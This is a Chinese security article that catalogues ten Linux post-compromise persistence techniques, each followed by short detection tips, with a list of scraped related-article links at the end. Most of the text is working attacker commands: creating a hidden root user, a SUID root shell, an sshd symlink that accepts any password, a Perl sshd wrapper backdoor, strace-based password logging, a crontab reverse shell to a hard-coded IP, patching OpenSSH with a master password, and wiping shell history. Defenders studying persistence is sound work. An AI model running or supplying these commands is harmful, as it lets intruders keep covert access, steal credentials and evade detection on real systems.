攻击者在获取系统权限后,通常会留下后门以便再次访问。本文将对Linux下常见的权限维持技术进行解析,知己知彼百战不殆。

相关文章:Linux下的几种隐藏技术


1、一句话添加用户和密码

添加普通用户:

# 创建一个用户名guest,密码123456的普通用户useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法useradd test;echo -e "123456\n123456\n" |passwd test

添加root用户:

# 创建一个用户名guest,密码123456的root用户useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

可疑用户排查技巧:

# 查询特权用户特权用户(uid 为0)[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd# 查询可以远程登录的帐号信息[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

2、SUID Shell

Suid shell是一种可用于以拥有者权限运行的shell。

# 配合普通用户权限使用cp /bin/bash /tmp/shellchmod u+s /tmp/shell

使用guest用户登录就可疑获取root权限。

备注:bash2针对suid做了一些防护措施,需要使用-p参数来获取一个root shell。另外,普通用户执行这个SUID shell时,一定要使用全路径。

排查技巧:

# 在Linux中查找SUID设置的文件find . -perm /4000# 在Linux中查找使用SGID设置的文件find . -perm /2000# 取消s权限chmod u-s /tmp/shell

3、ssh公私钥免密登录

在客户端上生成一对公私钥,然后把公钥放到服务器上(~/.ssh/authorized_keys),保留私钥。当ssh登录时,ssh程序会发送私钥去和服务器上的公钥做匹配。如果匹配成功就可以登录了。

客户端:

ssh-keygen -t rsa

过程中按三次回车,执行结束如下图:

进入/root/.ssh/文件夹,查看文件夹的内容,如下所示:

其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。

排查技巧:

查看/root/.ssh/authorized_keys是否被修改。

4、软连接

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。

在目标服务器上执行一句话后门:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码,成功登录。

排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。

5、SSH wrapper

init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。

服务端:

cd /usr/sbin/mv sshd ../bin/echo '#!/usr/bin/perl' >sshdecho 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshdecho 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshdchmod u+x sshd/etc/init.d/sshd restart

客户端:

socat STDIO TCP4:target_ip:22,sourceport=13377

排查技巧:

ls -al /usr/sbin/sshdcat /usr/sbin/sshd# 可通过重装ssh服务恢复。

6、strace后门

通过命令替换动态跟踪系统调用和数据,可以用来记录用户ssh、su、sudo的操作。

#vim /etc/bashrcalias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'# source /root/.bashrc

排查技巧:使用alias即可发现异常。

7、crontab反弹shell

crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

a、创建shell脚本,例如在/etc/evil.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345  0>&1
chmod +sx /etc/evil.sh

b、crontab -e 设置定时任务

#每一分钟执行一次*/1 * * * * root /etc/evil.sh

重启crond服务,service crond restart,然后就可以用nc接收shell。

排查技巧:

# 查看可疑的定时任务列表crontab -e

8、openssh后门

利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。

a、备份SSH配置文件mv /etc/ssh/ssh_config /etc/ssh/ssh_config.oldmv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
b、解压并安装补丁tar zxf openssh-5.9p1.tar.gztar zxf openssh-5.9p1.tar.gzcp openssh-5.9p1.patch/sshbd5.9p1.diff  /openssh-5.9p1cd openssh-5.9p1patch < sshbd5.9p1.diff
c、记录用户名和密码的文件位置及其密码vi  includes.h    #define ILOG "/tmp/1.txt"             //记录登录本机的用户名和密码    #define OLOG "/tmp/2.txt"             //记录本机登录远程的用户名和密码    #define SECRETPW "123456789"          //后门的密码
d、修改版本信息vi version.h    #define SSH_VERSION "填入之前记下来的版本号,伪装原版本"    #define SSH_PORTABLE "小版本号"
e、安装并编译./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5make cleanmake && make installservice sshd restart
f、对比原来的配置文件,使配置文件一致,然后修改文件日期。
touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_configtouch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config
g、清除操作记录export HISTFILE=/dev/nullexport HISTSIZE=0echo >/root/.bash_history //清空操作日志

排查技巧:利用strace找出ssh后门.

# 1、获取可疑进程PIps aux | grep sshd# 2、跟踪sshd PIDstrace -o aa -ff -p  PID# 3、查看记录密码打开文件grep open sshd* | grep -v -e No -e  null -e denied| grep  WR

9、PAM后门

PAM (Pluggable Authentication Modules )是由Sun提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。PAM最初是集成在Solaris中,目前已移植到其它系统中,如Linux、SunOS、HP-UX 9.0等。

利用方法:

1、获取目标系统所使用的PAM版本,下载对应版本的pam版本2、解压缩,修改pam_unix_auth.c文件,添加万能密码3、编译安装PAM4、编译完后的文件在:modules/pam_unix/.libs/pam_unix.so,复制到/lib64/security中进行替换,即可使用万能密码登陆,并将用户名密码记录到文件中。

排查技巧:

# 1、通过Strace跟踪sshps axu | grep sshdstrace -o aa -ff -p PIDgrep open aa* | grep -v -e No -e null -e denied| grep WR# 2、检查pam_unix.so的修改时间stat /lib/security/pam_unix.so      #32位stat /lib64/security/pam_unix.so    #64位

10、rookit后门

Mafix是一款常用的轻量应用级别Rootkits,是通过伪造ssh协议漏洞实现远程登陆的特点是配置简单并可以自定义验证密码和端口号。

利用方法:安装完成后,使用ssh 用户@IP -P 配置的端口,即可远程登录。

连接后的截图:

排查技巧:查看端口是否异常,RPM check查看命令是否被替换。

加入我的知识星球,获取更多安全干货。

Linux下常见的权限维持方式相关推荐

  1. linux中常用安装程序的方法,Linux下常见的软件安装方式

    一.Linux源码安装 1.解压源码包文件 源码包通常会使用tar工具归档然后使用gunzip或bzip2进行压缩,后缀格式会分别为.tar.gz与.tar.bz2,分别的解压方式: #tar -zx ...

  2. linux 压缩文件夹格式,Linux下常见文件格式的压缩、解压小结

    Linux下常见文件格式的压缩.解压小结 .tar 解包: tar xvf FileName.tar 打包:tar cvf FileName.tar DirName (注:tar是打包,不是压缩!) ...

  3. linux系统电脑的权限设置,Linux下的文件权限设置修改详解linux操作系统 -电脑资料...

    在linux中更改所属用户组是使用chgrp,更改文件拥有者, chown,更改9个属性, chmod这三种常用的问题,在linxu中这三个命令就是对文件目录权限的控制命令了,下面我来介绍它们的用法与 ...

  4. Linux下更改文件权限

    目录 查看文件权限 修改文件权限 查看文件权限 查看文件权限可以通过ls -l命令查看,如下所示: 如果只想查看某一个文件的权限,可以使用grep,如下所示: 可以发现,每一个文件的第一个字段都是由r ...

  5. Linux下常见的文本处理命令

    众所周知,在Linux下"一切皆文件"的原则,一切配置文件都可以以文本的方式进行编辑.存储.故对文本文件的操作能力,决定着你是否能够在Linux下操纵自如.今天,就写下几个关于Li ...

  6. linux 文件权限 rwt,Linux下修改文件权限(所有权)

    Linux与Unix是多用户操作系统,所以文件的权限与所有权的实现就显得很有必要:每个文件主要与三组权限打交道,分别是用户(user),用户组(group),其他用户(other) 用户(u)是文件的 ...

  7. linux sftp没有读写权限,Linux下SFTP用户权限设置条件及实现命令

    Linux下SFTP用户权限设置条件及实现命令 众所周知SFTP账号是基于SSH账号的,所以在默认情况下访问服务器的权限是非常大的,今天的教程就是教大家进行SFTP用户权限设置. 必要条件: 你的op ...

  8. Linux下常见文件解压方法及命令

    Linux下常见文件解压方法及命令时间:2007-01-08 18:34来源:CSDN作者:bitsCN编辑字体:[大 中 小]1.以.a为扩展名的文件: #tar xv file.a 2.以.z为扩 ...

  9. 在linux下赋予000权限,【linux】对于文件权限的理解

    本篇博文旨在介绍linux下的权限问题:介绍了Linux下,查看权限.修改权限等方法:并通过分别在超级用户(root)和普通用户下进行测试,探索不同等级的用户进入目录需要的权限,以及进入后,显示和创建 ...

  10. 怎么设置linux端口权限,Linux下设置端口权限的系统调用—ioperm和iopl

    Linux 下设置端口权限的系统调用有两个: ioperm 和 iopl . 一. ioperm 和 iopl 介绍. 1.ioperm 该系统调用的介绍参考了以下链接中的内容: http://blo ...

最新文章

  1. 如何向学妹解释在地址栏中输入网址后发生了什么?
  2. android广告页白屏_android 白屏
  3. 今年最火的 Golang 云原生开源项目,可能就是它了!
  4. 最前线|阿里大文娱板块Q3营收同比增长20%,优酷及UC业务带动显著
  5. 《深入PHP:面向对象、模式与实践》(二)
  6. Python-Day1 数据类型
  7. win7升级Powershell到5.1(for flutter)
  8. 应届生软件测试个人简历模板,软件测试实习生个人简历模板.doc
  9. mbit职业测试软件,APESK瑞士荣格理论模型职业性格测试(非迫选模式比MBTI性格测试更人性化)(量表版本:V2015-3.1)...
  10. MSSQL 和 MYSQL 复制表结构和数据(B复制A)
  11. word里面的ctrl+z快捷键无效|ctrl+z 无效 最新解决方法
  12. detached entity passed to persist问题与解决方案
  13. 通过OpenCv的HoughCircles函数获取图片中的圆形
  14. 计算机上如何保存ico格式,PS不能另存为ico格式怎么回事_PS不能另存为ico格式如何解决...
  15. 中南大学信息与通信工程专业研究生入学考试计算机网络试题2001答案,中南大学信息与通信工程专业研究生入学考试计算机网络试题.doc...
  16. Mysql数据库连接池之C3p0的使用
  17. nodejs 在执行 npm install 的时候出现问题
  18. mybatis plus中的${ew.sqlSegment},${ew.sqlSelect},${ew.customSqlSegment}使用
  19. 深度学习技术实战研修!
  20. Neural Collaborative Filtering【论文笔记】

热门文章

  1. 滴滴章文嵩:一个人的20年开源热情和国内互联网开源运动
  2. 1.金融点滴 - 什么是做多、做空?国内股市为什么不能做空?
  3. Leetcode刷题学习记录
  4. android动态壁纸的制作教程,android – 动态壁纸教程
  5. 实验吧 ctf题目 天下武功唯快不破
  6. 20145236 《Java程序设计》第4周学习总结
  7. 微信小程序:音乐项目
  8. CRM高端制造业应用案例分析
  9. 我收集的CS地图mod制作网址
  10. leetcode 组合总和IV(Java)